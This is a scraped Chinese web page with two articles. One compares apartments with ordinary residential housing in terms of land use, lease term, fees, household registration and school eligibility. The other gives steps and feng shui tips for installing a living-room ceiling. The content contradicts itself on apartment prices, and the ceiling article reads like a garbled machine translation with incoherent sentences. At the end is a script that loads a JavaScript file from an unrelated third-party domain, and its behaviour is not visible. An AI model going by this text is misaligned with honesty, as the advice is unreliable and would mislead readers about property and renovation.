住宅与公寓区别是什么？

现在的房地产行业中出现一种新的住房，它被人们称为公寓，因其价格低于普通住宅，得到了不少年轻人的喜爱，现如今很多开发商们专门开发公寓楼盘，以供人们的需求，而且公寓不同于居民住宅只限于居住.公寓楼房还可以有多种用途，比如商用，那么公寓和住宅究竟有哪些区别呢，今天小编整理了一下公寓和住宅的区别给大家分享一下:公寓和住宅的定义公寓为集合式住宅的一种，中国大陆称为单元楼或居民楼，港澳地区称为单位，指的是一种生活设施齐备，但只占建筑一部分的居住形态。一般分为住宅公寓、服务式公寓，服务式公寓主要以酒店式公寓、创业公寓、青年公寓、白领公寓、青年SOHO等多种业态存在。另有国产影片、韩国影片与之同名。住宅是指专供居住的房屋，包括别墅、公寓、职工家属宿舍和集体宿舍、职工单身宿舍和学生宿舍等。但不包括住宅楼中作为人防用、不住人的地下室等，也不包括托儿所、病房、疗养院、旅馆等具有专门用途的房屋。公寓和住宅的区别1实用年限的不同：公寓和住宅规定的使用年限不同，一般而言，住宅年限是70年，公寓是50年。但公寓也有70年使用年限的。2费用的不同：公寓和住宅的费用不同，有的公寓是商业用途，这些公寓的水电费用属于商业用水电费用，要比纯住宅昂贵。但有的公寓还是民用水电费用，这要看开发商的楼盘是如何立项，而且还需要看当地的政策法规或者通知，根据城市地域不同相关政策也可能略有不同。3物业管理的不同：经营性公寓的规划用地性质为公共设施用地，建筑外檐按公建标准控制建筑外部不得设置阳台，规划间距按公建标准执行，物业管理用房等相应配套服务设施按照相关规定在公寓内部安排。4建筑设计的不同：经营性公寓按照公建设计标准执行，工程竣工验收执行非住宅技术规范，居住型公寓的空调室外机不得外露，混合型公寓须设置户式空调5建筑面积不同：在中央商务区内，公寓的建筑面积占项目总住宅面积的比例不受限制;而普通住宅的建筑面积与总住宅面积的比是有限制要求的。6公寓的日照条件不同：按照《住宅建筑设计规范》的有关规定，居住产品中的住宅，必须满足日照、采光等相关条件。而公寓则不一定，因此同一幢楼中公寓的日照条件比住宅差。7土地性质不同：住宅只能建在住宅用地上或商住用地上，而公寓可以建在住宅用地上也可以建在综合性用地(商住)、商业用地或教育用地等其它性质用地上。8公寓不能落户：公寓如果实在商业用地上建起的项目，是商业性质，就不能落户。如果是在住宅用地上建起的满足一定条件，比如60平以上，根据不同地区的要求不同，有些地方也是可以落户的。9价格定价不同：一般来说，公寓的单价是比住宅高的，且以小面积户型为主。10公寓不享受就近入学：在很多地区，公寓性质的住宅是不能成为学区房的，也就是说不能让孩子就近入学。11产权证的用途栏登记不同：监管部门对公寓进行房屋产权登记时必须明确为“公寓”，并在房屋产权证上的房屋用途一栏标注为“公寓”。以上是公寓和住宅的区别，其实他们的区别点并不是特别明显，居民住宅一直都是中国房地产中一个典型的楼房类别，住宅楼房作用比较单一，只能作为居民的日常生活实用，而作为新式住房，公寓住房最为收年轻人的喜爱，公寓楼盘外观设计时尚，里面的装修干净大方，而且相对来说小户型的公寓比较多，很适合年轻人生活，其价格也相对低一下，在可承受范围。

住宅客厅吊顶的步骤是什么怎么安装才好

因为人们生活质量的追求是越来越高，很多朋友装点客厅的吊顶装饰，这不仅使空间具有层次感，还也有一个好的环境。那么，在住宅客厅吊顶的步骤是什么？如何安装房间？1，住宅客厅吊顶的步骤：确定吊坠的尺寸安装客厅天花板之前，必须绘制天花板的尺寸，然后设置在天花板上的位置，用冲击钻钻洞，最后用固定的膨胀螺丝的大龙骨。2，住宅客厅吊顶的步骤-做好骨架然后，将地板上的骨架固定到天花板上，使用方形条作为固定柱，水平和水平固定骨架，并根据图纸的大小切割多余的骨架。3，住宅客厅吊顶的步骤-固定好石膏板下一步是固定石膏板。建议使用十字架将石膏板固定在天花板上并用螺丝固定。有必要去除剩余的石膏板。这个屋顶差不多完了。4，住宅客厅吊顶的步骤-装饰天花板住宅客厅吊顶的石膏板固定后，可以进行装饰。例如，在干墙的凹槽中施加纱布以避免收缩和开裂。将装饰线固定在天花板的边缘，最后放上腻子粉或其他装饰材料。美妙的天花板就是这样。如何安装住宅客厅吊顶才好：1，客厅风水的天花板象征着天空，让天花板的颜色最好选择浅色的选择，地板可选用较厚的颜色。2，客厅的天花板灯应尽可能圆，因为圆形吊灯和吸顶灯非常好，不仅能给人以完美的意义，还能使房间变得圆润看起来更明亮，更慷慨。在风和水中，客厅光线充足，专业发展的帮助也很好。3从地面到住宅客厅吊顶的屋顶距离很短的话，你也可以选择不吊顶，否则不仅会让人感到压抑，透不过气来，从风水，但它也会影响流动性的流动。它还会影响工作和生活的情绪。在屋顶上有横梁的朋友应该注意它们。在风和水中，横梁会给人一种抑郁的感觉。长时间处于横梁下的人容易精神紧张，缺乏运气。因此，在装修期间尽量寻找修理方法。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();